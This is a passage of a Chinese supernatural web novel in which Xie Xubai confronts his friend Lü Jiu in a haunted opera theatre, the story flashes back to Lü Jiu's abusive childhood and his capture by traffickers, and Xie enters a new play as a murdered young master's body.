吕九却在这样的热闹中陷入沉默。 他微微低头,发现身上的装束变了,西装消失,变成华美的霓裳,飘带一圈又一圈地缠绕,像镣铐和锁链,要将他捆在这方寸之地。 半晌,吕九双手往上,捂住脸,咧开嘴角,发出低低的笑声。 游客的嬉笑渐远渐小,他的笑声越来越大,哈哈哈,笑出了眼泪花。 他坐在梳妆镜前,黄铜镜子倒映着抖动的身躯,一点点扭曲成诡影。 吕九想起谢叙白的脸,想起对方的眼神,想起对方的坚持。 差距怎么会这么大? 他的挚友光明磊落,清风明月,淌过泥泞不沾半分。而他撕碎名为吕向财的面具,只能看见腐烂恶臭的内里。 原来,他的退缩回避,源于害怕在谢叙白的眼里,看见不堪的自己。 …… 剧院大厅,胖男人一伙大气不敢出,在执法人员的凝视下瑟瑟发抖。 吕九像行刑台上的囚犯终于听到斩首的判决,颓然地按住脸上的面具,手指发紧泛白:“客官,您是唯一的观众,想要审判台上的这些人不过在举手之间,横竖是一样的结果,这种形式主义又有什么意义?” 谢凯乐还小,尚不能担起执行官的重任。在场众多执法人员,看起来行动自如,实则意识混沌,尚没有完全清醒。 最终,还是要谢叙白来拍板量刑。 那和谢叙白凭借观众票决定胖男人的生死,又有什么区别。 谢叙白摇了摇头:“我不能保证自己能做出正确的判断。” 人的情绪容易受到影响,谢叙白不会把自己当成特例。 吕九不理解这样的保守,哈的一声,露出讥诮的笑容:“对付这种恶心的人渣需要判断什么,难道您还想为他们脱罪?” 认识谢叙白的人确实有这样的担心,担心善良的人容易心软不忍。 “不。”谢叙白摇了摇头,“我怕自己判得太轻。” 他语气相当冷漠,又并非无情。 枉死的诡魂还在耳旁哭叫,凄厉嘲哳,谢叙白闭了闭眼:“他们做的事,万死不足以平民愤,所以才要一桩桩一件件地罗列出来,清清楚楚地算个明白。” 这件案子会被公布出来,由中央电视台报道。 警局将持续跟进,倾尽全力去解救可能还在经历磨难的被害人,顺藤摸瓜,追捕漏网的嫌疑犯和背后可能涉及到的犯罪团伙。 蠢蠢欲动的宵小会投鼠忌器,人民大众将知道有一个地方能还他们公道,为他们申冤呐喊。 法律的严密慎重,从来都不是为了给罪犯开脱,而是为了给受害者和观望的民众,给所有坚守自身、心怀希望的人们一个公义。 吕九一怔,随后对上谢叙白的目光:“这其中也包括你。” 第136章 二回唱 吕九最害怕的场景出现了。 他盯着谢叙白的眼睛。 不得不承认,这双眼睛总是分外吸引诡异的注意。诡异的目光阴暗湿黏,充斥血腥气,而它,即使在阅遍苦痛之后,仍带着恬静沉稳的光亮,宛如深夜照亮海面的灯塔。 此时,也如明镜般照出他的身影。 没什么好奇怪的。吕九了解谢叙白的为人,不然也不会选择这出戏,毫无保留地暴露剧院的阴私龌龊。 他甚至有点骄傲和满足,只因相信的人始终如一。 可同时,吕九又感到一阵难言的窒息,猛然扭头躲开谢叙白的视线,往后退了好几步。 又在恍惚间听到啪的一声脆响,冰凉的碎屑从脸颊滑落,才发现自己居然把面具的一角按裂了。 面具会掉。 这个发现,比直视谢叙白的目光更让吕九眼前发黑,他不顾破碎的边缘会扎进皮肤,将面具捂得更紧,瞳孔发颤。 这时候的吕九,多想谢叙白可以直截了当地给他一刀。 他原本就打着这个主意,吕九会和红阴剧院一起得到审判,会死得其所,而无端消失的吕向财,会永远地活在挚友的心中。 可是谢叙白太聪明。 吕九不知道自己是什么时候露出的破绽,又或许谢叙白从一开始就认出了自己,从头到尾,自欺欺人、狼狈不堪的只有他而已。 也是这个时候,他看见谢叙白往前走出几步,来到他的面前。 吕九没来由地心慌,下意识再往后退。 然而他退多少步,谢叙白就往前走多少步,直至吕九的后背啪地撞到戏台边,退无可退,他才咬牙切齿,颇为难堪地撇开头:“够了吧,你到底想要干什么,想抓就抓,想杀就杀,不要……” 不要这么看着我。 那几乎是恳求、哀求的语气。 谢叙白的精神力能探索到最幽微隐晦的情绪,自然也能感受到从吕九身上传出的痛苦和慌乱。 但他没有离开,也没有如吕九所愿让执法人员过来直接把人拷走,视线挪开,转而凝视台上如丧考妣的一干人等:“抱歉,我只是有个疑惑。” “在和他们共事的过程中,你完全不认为自己和他们是一伙人。”谢叙白说,“我也这么认为。” 这话说得毫不犹豫,乃至于吕九好半会儿,才读懂对方的言外之意,身体一僵,机械地将脑袋扭了回来。 “根据我国的现行法律规定,当事人被强迫犯罪的,要依据实际案情判断是否定刑,犯罪情节较重构成肋从罪。对胁从犯,应当按照犯罪情节减轻处罚或者免除处罚。” “而且,我猜你当时应该不超过14岁。”谢叙白说,“已满12周岁不满14周岁的人,在犯故意杀人、故意伤害罪,致人死亡或者以特别残忍手段致人重伤造成严重残疾,情节恶劣,经最高检核准追诉的,才应当负刑事责任。” 吕九:“……” 看着他呆愣的样子,谢叙白叹了一口气:“核定沿用这些条例的时候你明明也在场,是不是没有仔细看?” 当然不是,吕九当时看得非常认真。凡是谢叙白交代给他的东西,他都不敢马虎大意。 他只是早早地给自己判了死刑,所以想不到回旋的余地。 谢叙白平和地看着吕九,感受对方内心复杂翻涌的情绪:“当然,如果你不属于上述两种情况,在形成健全的善恶观后仍旧选择主动作案,那么等待你,依然是清算和牢狱之灾。我会亲自动手。” ……亲自动手。 吕九的眼睛闪烁一下,第一反应居然不是害怕,反而对这四个字入了迷。 但吕九自认为不是什么抖爱慕,难以解释自己为什么会产生这样的反应。 很快他从谢叙白的态度中找到答案。 由始至终他都在害怕谢叙白的失望,事实上,对方也确实会为他犯下的罪行感到失望,然后负责到底。 不会放弃厌憎,不会冷落忽视,无论善恶,谢叙白都会持笔为他谱写出最终的结局。 他的一切都有落点和归处。 谢叙白虽能感知情绪,但也没神到能读心的地步。 眼前的吕九不知在想什么,忽然不再害怕他的凝视,往下蜷缩的腰背也挺直了,还陶醉地眯起眼睛。 谢叙白忍不住抽了下嘴角。 高悬在心头的巨石也终于落了地。 他不免庆幸。如果吕九真的是主犯之一,在他的质问下,多少会生出几分惶恐和心虚,更不会是眼前的这副表现。 他看向身后的地面,捡起掉落的面具碎片,掸一掸灰尘,走近吕九。 碎片边缘有些锐利,像刀锋,有点危险。吕九身体发僵,目光追随谢叙白的手指移动。 台上忽然没了声,所有工作人员看着毫不反抗的吕九,都是一副见鬼的样子。 好在谢叙白并不打算用碎片对吕九做些什么,只是将它贴近面具的缺口。 金光丝丝缕缕地出现,穿过碎片,将它与面具严丝合缝地缝补。 谢叙白:“你的戏,我要看全场。” 吕九心跳忽地加快,眼神飘忽地应下:“……好,您是贵客,您说了算。” 见过吕九有多么凶残的董事会成员如果在场,看到对方这副言听计从的模样,估计会惊掉下巴。 现场也不逞多让。敲锣打鼓的音乐组齐齐停下动作,十几张涂满油彩的脸凝视两人,沉默震耳欲聋。 默了默,有人阴森地问:“难道您想将剧院转让出去?” 这些画着诡谲脸谱的伴奏者,和胖男人及其手下有根本的不同。 如果谢叙白想要对剧院出手,它们会立刻动手,狞笑着,将入侵者的皮剖下来制鼓,将他们的骨头砌进墙壁,用尚有温度的血浆洗幕布,成色若好,那就制成口红和指甲油,不会出现一丁点的犹豫和不忍。 它们是剧院的原生力量,是纯粹的诡异,没有人类的道德三观,这里是它们的主场,它们可以为所欲为。 但如果吕九将所有的戏演给谢叙白看,那情况就大不一样了。 要知道在现行的诡异世界,知识是禁忌的力量,也是所有生灵力量的主要来源。认知得越多,理解得越多,掌握的也就越多。 当谢叙白足够了解这家剧院,诡异们在对上他时,实力就会大打折扣。谢叙白再狠点,直接竞标成为剧院的主人,也不是没有可能。 不,或许都不用竞争,吕九这不要钱的殷勤劲儿,分分钟能将剧院送到对方的手上。 它们非常不乐意,现在吃吃人,玩玩魂,过得逍遥自在,换什么主人? 特别谢叙白根本不像来加入这个家的,更像要把这个家给炸了。 “别忘了,你只是代理掌管这家剧院,轮不到你将它拱手相让。” 声乐组站起身,手中的乐器竟隐约浮现出人的五官,微微朝外鼓起,不掩恶意地弯了弯眼睛,杀念四溢。 裴玉衡等人坚持跟过来,就是防止出现这种情况。整装待发的执法人员似有所觉,神情森冷,手指扣上扳机。 但吕九没让他们出手。 他对着谢叙白笑了一声,很轻巧平常的一笑,气焰嚣张的声乐组就像突然遭到重大打击,口吐鲜血,重重地倒下。 那些长着人脸的锣鼓月琴,砸落在地,琴弦崩断,鼓面破裂,鲜红的血液从窟窿中流出来,发出婴儿般凄厉的惨叫。 声乐组可能想过和吕九对峙,赢面不大,大概率会打个平手。 却万万没想到会是一边倒地碾压,甚至来不及动手就都趴下了。 它们呕出破碎的血肉,奄奄一息地支起身体,惊诧又恐惧:“你,你明明离开了那么多年,凭什么还能掌控这家剧院,凭什么它会听你的话?” 吕九的代理职位,难道不是中途捡漏来的吗? 吕九摸了下面具的裂口,金光似线,缝补得很细致,不认真摸,都摸不到那条缝。 他没有和这些跳梁小丑解释的必要,如果谢叙白不在场,这些诡异会直接变成一滩烂泥,字面描述上的烂泥。 但谢叙白正看着他,为了表明自己的立场,吕九还是多废了一句舌:“罗浮屠消失这么长时间,你们就没人好奇过他的下落?” 罗浮屠,戏中戴瓜皮帽的胡子男,他是这个人贩子窝点的头头,是操持无数件惨案的罪魁祸首,也是他下令,让孩子们惨遭毒手。 是啊,嫌疑犯都在场,枉死的怨魂在谢叙白耳边抽噎倾述,最该千刀万剐以死谢罪的罗浮屠,去哪儿了? “真无情啊。”吕九眯眼笑起来,抬脚踹了踹戏台,“他整天被你们踩在脚下,好不可怜,想一想早年的他多么器重你们,都没人认出来吗?” 胖男人等人的眼神一下子变得惊异无比,低头看向脚下。 红阴剧院建立多少年,这个戏台就存在了多少年。 往日无数戏子上台唱曲起舞,不少重物乐器被反复搬来搬去,经常会有磕碰,刮擦出一道道深长的沟壑,使得戏台砖面看起来饱受摧残,伤痕累累。 不知道是受到吕九话里的影响,还是后者解开了某项束缚。 往日在他们看来稀疏平常的戏台,突然变得极其诡异。 好似真的能看见罗浮屠那张似曾相识的脸,从地板凸起来一大块,又被地砖封住,印着大大小小数不清的脚印,双眼布满狰狞的红血丝,在痛苦地呻吟,发出歇斯底里的惨叫。 这是红阴剧院常用的手段,可谁也没想到会用在罗浮屠的身上,神不知鬼不觉,没人发现。 登时,跟触电似的,胖男人一伙不受控制地跳起来,惊叫:“哎呀妈呀卧了个**!” 为什么吕九消失这么多年,回来还能掌管剧院?当然是因为他干掉了前主人,暴力征服这块区域。 他不是中途捡漏代理剧院,是不想要这家剧院,嫌脏,才没有直接接管。 说完,吕九看向谢叙白,语气忽然变得委屈巴巴:“我可先说好,当时是他先对我动的手,这算正当防卫吧?” “……”谢叙白无奈地叹了一口气,“等会看戏的时候,我会特别留意现场情况。” 吕九顿时露出一个心满意足的笑,像如愿吃到蜂蜜的小熊,欢快得脚步发飘,两步走到谢叙白的身前,牵起对方的手,触及自己的心口。 吕九挑起唇角:“一般的攻击手段对我无用。如果构不成正当防卫,我依然是死罪,记得用精神力捏碎我的心脏。” “还有,我只接受你来杀死我,其他人来,无论是谁,我都会——” 吕九没有继续说下去,但笑容里的戾气很浓郁。 他在谢叙白面前时的放松无害不是伪装,他对谢叙白的臣服交付也出自真意,但他的残忍暴戾,也并非虚假。 他曾经是人,但现在不是,是诡,是怪物。 异化的世界,文明形态扭曲。 关于个人恩怨和见义勇为行使的以暴制暴和报复手段,在谢叙白重新制定的法律条例里,也有一套相较完整的判决机制。 所以谢叙白的心态还算平和,毕竟之前开会时预先探讨过这种情况。 对上吕九意味深长的笑脸,谢叙白撩了下眼皮,没作声,金光在指尖凝结,眨眼间变成一副手铐,咔嚓一声,反手拷上吕九的手腕。 吕九:“……” 谢叙白面不改色:“要我提醒你吗,申述有规定时限,过时视作直接放弃。” 吕九抽了抽嘴角,偷偷嘀咕一句小心眼,声音很小,没敢让谢叙白听见。 谢叙白只拷了一边手腕,不影响行动。 吕九摸着金光灿灿的手铐,似乎又想到什么,忽然笑着哼起小曲,看向谢叙白的眼睛亮堂堂。 “*笑人间儿女怅缘悭,无情耳……” “*升平早奏,韶华好,行乐何妨。愿此生终老温柔,白云不羡仙乡……” 他踩着步子往台上去。 好戏再开场。 第137章 吕九 各个执法人员在大厅落座。 其实他们站着就好,毕竟意识混沌的阴魂没有重量,感受不到疲倦,但谢叙白让他们找个位置坐。 这个唤醒他们的人,身上有一股干净凛冽的气息,像经年落雪的巍峨山岳,阴魂们很信服他的话。 剧院的服务生,也不全是当年犯罪团伙里的一员,还有误入的倒霉蛋。死后化身伥鬼,被这家剧院奴役。基于职业素养,他们在执法人员冰冷的注视下,鼓起勇气,战战兢兢地奉上茶水。 化诡的执法人员,气质大相径庭,像同一个模板雕刻出来的一样。但这时候,就表现出不同来。 有人瞄向茶水,似乎颇为嫌弃,伸出一根手指,将茶杯推得远远的。 有人端起茶杯,举高,上下打量,似乎有些好奇。 他左顾右盼,学着其他观众饮茶的动作,将茶杯倾斜。 结果没控制住力道,杯子穿过黑乎乎的脑袋,“哗啦——”茶水顺着这副模糊虚无的身体,全部泼洒在椅面和地板瓷砖上。 这人顿时触电般站起来,像做错事的小孩,手忙脚乱地抽出摆在桌子上的纸张擦椅子擦地。 谢叙白收回视线,仍在观众席的第一排落座。他将戏票拿出,眼睫微微下垂,在灯光的映照下,落下一圈扇形的阴影。 戏剧名:《荒河巨影》 从当时的情景来看,似乎是他有所求,想从循环中救出吕向财,无意识地使用力量,这张票才会被他抓在手里。 但困住吕向财的分明是盛天集团,又和这家剧院有什么关系? 不是谢叙白想要偏袒那个人,依照吕向财睚眦必报的性子,如果宴朔是操控剧院的幕后主使,那么吕向财不可能在提起对方时,只有惧,而没有恨。 吕向财也告诉过他,说自己不能离开盛天集团半步。具体原因是什么,他不知道,缺失的记忆像杂乱纠缠的线头,不然也不会痛苦到现在。 但可以肯定和宴朔无关。吕向财被困在前,宴朔是后来者上任,而那时候的盛天集团还是一家即将破产的皮包公司。 谢叙白不认为吕向财会在这种地方欺骗他,也没有骗他的必要。 ——那么排除宴朔,还有谁能撼动规则,将吕向财诱骗出盛天集团? ——如果他和吕向财做不到相互信任,如果吕向财想活下去的渴望高于一切,那么他们还会不会像现在一样和和气气? 谢叙白心里冒出一个答案,这个答案让他不得不戒备,蹙眉看向戏台,精神力如流水般悄无声息地弥漫。 迫于吕向财的威势,声乐组无力反抗,只能蔫儿吧唧地拿起乐器伴奏。 大厅里坐满执法人员,二楼的裴玉衡等人在慢条斯理地品茶,可以说整座剧院都在谢叙白的掌控之下。 剧院构不成威胁。 但是…… 谢叙白眼神飞快闪烁一下。这片诡气弥漫的区域,可不仅仅只有一家红阴剧院。 宛若应召他的猜想,窗外的树影忽然不动了。 一个地方在正常的时候,哪怕再怎么安静,也能感受到气流掠过皮肤的触感,树丛中多有虫鸣和细微的鸟叫,不远处的马路传来车辆引擎发动的噪声。 谢叙白扩散在红阴古镇的精神力,却什么都感受不到,仿佛所有的一切都成为死气沉沉的静物,眼前的吕向财也变得虚幻缥缈。 强烈的倦意再度如潮水般上涌,比第一次看戏更汹涌。 剧院内还是歌舞升平,热热闹闹,裴玉衡几人面色如常。如此异常幽微到难以察觉,似乎只针对他。 谢叙白反应很快,眼神一凝,凝结精神力点在眉心,为自己加上一道精神烙印。 下一秒,他的意识似醉酒般一晃,坠入无边无际的黑暗。 …… 吕向财原名吕九,用了很长一段时间。但吕九也不是他最初的名字,是罗浮屠收留他后给重新起的。戏院的小孩都有假名,大部分是贱名,让他们忘记自己的来路,认清地位,断掉回家的念想。 罗浮屠纯属多虑,吕九对那个所谓的家没什么念想。 他出生在穷乡僻壤,村子被群山包围,像个逼仄的牢笼。大都市灯红酒绿,这里则水电不通,房子漏风,挑水要去后山河边,每到冬天河水结冰,总要冻死几个。 印象深刻的还有那条通向集市的土路,坑坑洼洼,走夜路容易摔跤。有人喜欢在路边随地大小解,粪便积攒,恶臭扑鼻,苍蝇满天飞,比星星还多。 爹娘起的名字叫什么,吕九记不清,隐约记得是他娘取的,很好听,用他娘的话说,是朗朗上口有诗意。 但他爹和村里其他人一样,大字不识一个,嫌那名字叫着麻烦拗口,只顺口叫他“狗崽子”“臭小子”。所以他娘死后,吕九就再也没听到过有人叫他的本名,渐渐的,印象也就模糊了。 他唯一记得,且刻在骨子里的话,就是他娘临死前,让他跑,无论如何都要离开他爹,离开这吃人的村子。 吕九听了他娘的话。 他爹是个卖假药的赤脚大夫,不是什么正经药方,也看不出能治什么病,但人人都会去买,哪怕勒紧裤腰带,吃不起饭,瘦得皮包骨头,也要争着抢着用粮食换取他爹的一副药。 每每求得他爹松口,勉为其难降价,那些家伙就会喜笑颜开,发干起皮的嘴唇朝两边咧开,露出一口泛黄发黑的龅牙,眼窝凹陷,瞳孔浑浊,像一具被吸干血肉的骷髅。 但他爹不满足只卖这种低价,况且村子里的人也没什么钱。村子虽然偏僻,但并非与世隔绝,村长有辆牛车,也是村里唯一的牛车,每年会定期去外面买生活品,比如盐、衣服,他爹就会跟着出去卖药。 八岁这年,吕九拼着被他爹打断腿的风险,用尽全力扒住牛车,不肯下来,不出意外遭到拳打脚踢,生生被打得吐出几口血。 他个小,很难抵抗大人的拖拽,可他掐着牛的脖子,旁人打他越狠,他就掐得越用力,袖子里面藏着磨尖的石头,扎在牛的身上,牛疼得发疯乱叫,一头将车夫顶开,不受控制。这一番折腾下来,耽误不少功夫。 村子偏远,出去要趁早,不然回来的的山路非常难走,黑灯瞎火的容易出事。他爹愤恨地啐他两口,拽他头发,拽他的腿,一拳头砸在后背,砰砰作响,打得他头晕目眩,最终骂骂咧咧地带他出了村。 沿途,牛车颠簸,他爹一直用阴狠的眼神盯着他,就等他小孩子没力气松了手劲,把他从牛脖子上拽下来。 吕九一直没松手,抿着唇,五指相扣,指甲死死地掐进手背,逼出血色。 小子发了狠,神仙也难惹。村长生怕他的牛真被勒出事,他看见地上有血,才发现吕九的手里还捏着石头,赶忙劝他爹消消火,这才偃旗息鼓。 村长没敢逼迫吕九,因为村里的一些传言。约莫是继承他爹烂人的性子,吕九生来就是一个恶种。村里有个坡脚老汉,说是会算命,在他刚出生那几天,看见天上划过一道流星,就说这扫把星是吕九招来的,说他是天煞孤星,早晚要克死家里的血亲。 他娘没信,他爹信了。 问题就在于他爹信了。 后来吕九不知道从哪儿听说这件事,才七岁,宰了坡脚老汉家里仅剩的两只鸡,鸡血洒满屋子,鸡头挂在门檐下。 坡脚老汉耳朵有问题,也被外面的动静吵醒,屋子里没灯,他循着月光摸黑往外走,正对上半空中一颗死不瞑目的鸡脑袋。 浑浊发白的眼珠子盯着他,当场给老汉吓厥过去。 等老汉悠悠转醒,听到夸嚓夸嚓磨刀的声音,再一抬头,吕九就坐在他的身边,手里握着刀,刀尖朝下,黑白分明的眼睛安安静静地盯着他,不知道盯了多久。 吕九没杀他,但坡脚老汉被吓得差点灵魂出窍,之后几天发起高烧,胡言乱语,好久都不敢出门,再碰上什么异象也不敢多舌。 这个时期,吕九他娘已经死了。被一张旧床单随随便便地包着,在后山随便找了个地方埋掉。 坟包小小的,笔墨贵,他爹不耐烦刻墓碑,也不会写字,至于吕九,就更不会了,留在那的,就是一座无名孤坟。尸体的肉,估计早已让地里的虫子吃得渣也不剩。 吕九的名声就此传开,一听说这件事,胆子再大的人也会怵他那股邪乎劲儿。村子里的人视他为洪水猛兽,怀疑他真是什么煞星转世。 要不是吕九他爹卖药,在村里颇有名望,估计他会被抓起来,乱棍打死。 而他爹没把吕九交出去的原因也只有一个。这几年,男人的身体不知为何衰败得厉害,连着找了几个女人,肚子都没动静。 村子里没正经大夫,他爹出去看过,听完医生的诊断,回来后脸色又青又白,阴沉得能下雨。 从那以后吕九他爹再对他拳打脚踢,都会收着劲儿,生怕把这个唯一的种给打死了。 吕九得以活命。 这小小的烂命一条,若是能彻底离开那逼仄压抑,常年被迷雾笼罩的深山,或许能焕发出不一样的光彩。 然而吕九抱着牛脖子,期待地往前看,发现牛车在行经岔路的时候,没有往宽阔的主干道走,而是被村长牵着绳子一拽,牛脑袋一偏,车轮压过满是泥泞的土路,溅起黄色的泥浆,慢悠悠地驶入一条狭窄的小路。 小路的尽头,是一个位置更偏的村子。说是村子不太恰当,这里的路面没有粪便,房屋干净结实,一栋接一栋,黑瓦白墙,有的人家门口坝子上,竟然还额外浇筑了水泥。 要知道水泥这种舶来品,在生产能力相对较低的那个年代,可是个稀缺物,一般只用在大都市里,建设房屋道路,美化市容。 他爹和村长似乎常来这个村镇,可一样拘谨,村长直接把牛车绑在镇子外一个偏僻的小树林,严令警告他不要乱跑,生怕他冲撞谁似的。 没见过世面的吕九晕晕乎乎,完全不知道自己身在何处,抱着牛脖子,也不知道该不该放手。 谁也没想到,村长还没交代完,就有一群人走了过来,凶神恶煞,腰间挂着刀,有的刀口竟还在滴血,凭吕九多年挨打吐血的经验,那绝对不是畜生的血! 按理说他这样的小子,不值得这些“大人物们”在意,他爹也快两步迎上去,恭恭敬敬地交代事,回答为首之人的问题,再递出鼓鼓的荷包。 结果谈着谈着,话题就转移到了他的身上。 有个小胡子,问吕九是谁,他爹躬着腰,老老实实回答。 小胡子又说吕九的骨相好,长相更是好看,问起他娘的来路。 他爹回头看着吕九面黄肌瘦的样子,怎么都没看出哪里长得好。 但小胡子问他话,他不敢不答,就是回得支支吾吾,似乎自己也不清楚吕九他娘是谁。 “好像是淮州……” “九年前,有一艘前往上海滩的轮渡……” 于是小胡子便开始笑。 他走过来,掐住吕九的下巴,逼迫他扬起脑袋,上下端详。 眼神森冷,像黏腻的毒蛇,嘶嘶吐着红信,看得吕九冷汗直冒。 小胡子看完,摩挲一撇胡子,也不知道是满意还是不满意,让他别抱着牛,下车再让他仔细看看。 吕九埋着脑袋不吭声,就听见小胡子又笑了笑,再抬头,对方突然抽出手下的刀,毫无征兆,朝他的脑袋对直砍下来。 刀锋裹挟着风声,一瞬间,吕九大脑一空,肾上腺素急剧分泌,用最快的速度松手。 锃亮的刀面擦过他的手指,砍在牛脖子上,卡进骨头缝,鲜血炸开,牛发出撕心裂肺的痛叫。 还没来得及像之前那样发狂,顶开人,就被小胡子的手下一枪爆了脑袋。 吕九跌坐在地上。这么近的距离听到枪响,他几乎耳鸣。耳边嗡嗡的,好半天才再听到人声。心脏狠狠地撞击胸腔,激烈得像是要跳出来,手肘发软地撑着地。 劫后余生没有让他感受到喜悦,只有一种难以言说的恐惧,凉意从脊骨直窜脑神经。 他抬头,双眼昏花,看见小胡子揉着耳朵,似乎也被枪响震得不轻,又冲着他笑起来,用沾血的刀面拍拍他的脸,慢条斯理地说了一句:“好孩子,要听话。” 要听话。 胸口急剧起伏,吕九听不见自己的呼吸,牙齿直打哆嗦。 有什么湿热的液体沾上指尖,他僵硬地扭头,看着倒在地上的牛。 牛的小半个脑袋都给炸没了,露出焦黑的骨头,红红白白的东西顺着缺口淌出来,朝外扩散,流了一地。 有的人兢兢业业一辈子,谨言慎行,就怕失足陷落。而有的人,一出生就在地狱。 …… 谢叙白入了戏。一回生二回熟,没有晕多久,意识很快恢复清明。 同时他的脑子里多出一段记忆。 这次他附身的角色,似乎是一个锦衣玉食的小少爷,路边看见穷困潦倒的乞儿,出于善良,将随身携带的怀表送给了对方。 隔天乞儿拿着怀表上门归还,说穷人不穷志。 少爷的父母看乞儿小小年纪,却有一番风骨,不免生出好感,将其收养,殊不知是引狼入室,给一家人带来了灭顶之灾。 谢叙白很快发现问题。 这时的少爷尚未和乞儿相遇,为什么脑子里会有亲人被害惨死的记忆? 他眉头微蹙,一抬眼,瞥见半空飘着一道怨气十足的诡魂。 诡魂一言不发地看着他,汩汩血流从无瞳深黑的眼眶中淌落,浑身弥漫着一股无法压抑的煞气,但没有对他发起攻击。 谢叙白刚接收完记忆,莫名觉得对方的长相很熟悉,扫视四周,发现自己正身处于一间卧室,从各种豪奢摆设判断,似乎是一个有钱人家。 他快步来到一面落地镜前,镜子倒映出一张清隽年少的脸,穿着价值不菲的装束,头发被打理得一丝不苟,有股文质彬彬的书生气。 最关键的是,谢叙白凝视镜子里的人脸,又看向半空飘着的诡魂,发现它们居然长得一模一样! 那诡魂,原来就是这副身体的主人。它是死不瞑目,重生回来的怨魂。 怨魂看着谢叙白,终于开了腔,说话期间又有血泪不断淌落,嘶哑的声音里仿佛蕴含无尽的恨意和痛苦:“我愿意向您献出我的灵魂,但我要所有害我全家的人,不得好死!” 谢叙白身体一僵。 他在小少爷的记忆里看清了仇人的脸,有熟悉的小胡子罗浮屠及其手下,还有被他收买的家里下人。 除此之外,还包括那个乞儿。他的名字叫吕九。 第138章 新的入戏身份 谢叙白发现自己这次在戏里的身份有些特殊,放网上都不一定能过审的那种,花了点时间消化。 他不说话,怨魂就等在旁边,无声地落泪。 一开始它还能保持安静,蜷在角落,血泪啪嗒啪嗒地往下掉,摊开手掌接住,不让它们弄脏地板。 后面,大概是谢叙白沉默的时间有点长,它终于忍不住,冲上来拽住谢叙白的衣角,挥洒血泪,哭天抢地:“真的,您现在就可以吃了我!只要他们能死!求您了!” 生怕谢叙白不同意,急头白脸地把自己的脑袋往对方的嘴里送。 但谢叙白并非他认知里的邪祟,也没有对方臆想中的血盆大口,怨魂这么一拱,差点把他拱出去。 谢叙白回神,连忙伸手抵住怨魂的脑袋。 他敏锐地察觉对方的举止有股说不出的奇怪,于是用精神力感知探查。 果不其然,小少爷的灵魂,三魂七魄竟丢了一魂三魄。它虽是成人的形态,心智却堪比六岁小孩,有可能还不如。 谢叙白看着小少爷的脸,后者情绪激动,逐渐维持不住人形,本貌显露,血肉模糊。 额头有个黑漆漆的窟窿,皮肉被放射性冲击炸得粉碎,是弹孔。 身体各处都有被烧焦的痕迹,伤势若盘虬的老树根,黑红的息肉从缝隙中长出,随怨魂急促的恳求声,不断颤动,看着极其可怖。 杀人不过头点地,害他的人还放了一把火。 小少爷对上谢叙白的目光,血泪流得更快,在地板上积成血红的水洼,痛苦又茫然:“您为什么不吃我,是因为我不好吃吗?” 在小少爷看来,他当然是死了。 吕九狼子野心,利用他家的权势攀结上层圈子,又和对家勾结,设局害死他的父母。 当他痛定思痛,和吕九虚与委蛇,蛰伏隐忍,好不容易收集到足够多的罪证,将要递交上去的时候,却被吕九的同伴发现,一枪射杀。 那些恶贼怕事情败露,逃走前,竟然丧心病狂地放了一把火。没来得及撤离的佣人和家族旁系子弟全部遭殃,丧生火海。 他恨啊!他真的好恨! 小少爷记得自己含恨闭眼的那一刻,胸口的玉佛吊坠忽然发热。冥冥中好似有什么存在听到他怨恨的呐喊,给了他一次重来的机会。 再睁眼,他竟然真的回到了过去,只不过变成怨魂,保留着惨死的模样。 他看见自己过去的身体,像没有灵魂的躯壳,瞳孔涣散地僵在原地。他惊喜地靠近,却发现自己只能触碰,不能回魂。 也是这时,谢叙白出现了。 救自己的存在到底是什么,神佛还是凶煞?其实小少爷并不清楚。 除了自己的身体,屋子里其他东西,他都无法触及,像徘徊在现世又被遗忘忽视的幽灵。 他知道自己现在没有任何筹码说动一个陌生存在帮他报仇,于是病急乱投医地献上自己。 可要是谢叙白不想要,那他还能怎么办呢? 小少爷脸色惨白,呼吸急促,绝望感将他侵蚀,身上散发的怨气越来越重,如黑雾般凝实,有化身厉鬼的倾向。 但它忽然惊醒,感觉有什么暖洋洋的东西在触碰自己,回头一看,是一只覆盖金色光芒的手掌,掌纹清晰,骨节分明且修长。 再一抬头,谢叙白正认真地注视着他,准确来说是注视那些狰狞的伤口。 然后金光氤氲,似暖春时节杨柳岸边掠过的微风,覆盖在他的伤口上。 那股让他窒息的疼痛感,忽然不再强烈。 狗子平安临死被人泼了硫酸,满身伤痕,直至副本结束后也没有消去。尽管平安一直摇头表示自己不痛,没什么感觉,谢叙白却始终感到揪心,一直在寻找治疗的办法。 后来,他发现增强后的精神力能直接作用于魂体。 “我没法让你彻底复生,但短暂回魂,应该没有问题。”谢叙白温声说道,“你想看一看自己的家人吗?” 一瞬间,怨魂漆黑无瞳的眼窟窿,忽然长出新的血肉。 那是一双很干净的眼睛,面向谢叙白,眼眶红了个彻底。 他低声啜泣着,恢复完整无害的人身,没有再流出血泪,哽咽一句:“想。” 谢叙白用精神力协助小少爷回魂,将身体的控制权转让出去。 小少爷几乎急不可耐地冲出卧室门。 出门撞到佣人,后者叫唤一声,被他双眼赤红的凶狠模样吓了一跳。 小少爷逮着他们追问老爷夫人在哪儿,佣人连忙指路。 前者又马不停蹄地冲出去,最后,在花园里找到正在和其他太太喝下午茶的母亲,通红着眼眶扑了过去:“娘——!” 一番哭喊失了往日的稳重,小少爷的母亲满脸惊诧。 再看儿子患得患失,仿佛受尽委屈的样子,她倍感心疼,顾不上旁边的姐妹,拿起手帕给儿子擦眼泪:“给娘说说,是谁欺负你了?让你表哥遣人去打断他的狗腿!” 那边母子情深,这边谢叙白也变成灵魂态飘在空中。 他指尖捻着金光,眸色愈深。 想到上一次入戏,他不过稍微释放一点精神力,整个空间便轰然崩塌,这次却能直接使用,不受任何阻碍,谢叙白立马发现不对劲。 尽管很相似,但他还是很快做出区分,他所用出的确实为精神力,却不是他自己的力量。 可以理解成一名修士穿到另一名同宗修士的身上,因为修炼的功法同源,相差无几,所以能够轻而易举地调用这副身体的修为。 重点在于,新的入戏身份不止有修为这么简单。 宴朔引导谢叙白步入的是成神之路,他能零基础契合当前的身份,熟练掌握力量,可想而知是什么身份。 现在的谢叙白,只要闭上眼,静下心,就能“听见”从四面八方传来的心念。 对,心念。 不再是模糊地感知到某人的情绪,而是具体到可以翻译成文字的心声。 他身处的这座宅邸位于本地最繁华的闹市街。而这座城市,又有着当下全国最大的海上贸易港口,南来北往的货船在这里停泊。码头装卸的货物,和工人淌落的汗水,就和这座不夜城璀璨夺目的灯光一样,永不停歇。 同一条街上,酒楼、赌场、歌剧院、宾馆大楼,应有尽有,走卒商贩来来往往,马车黄包车川流不息,各路豪杰慕名而至。 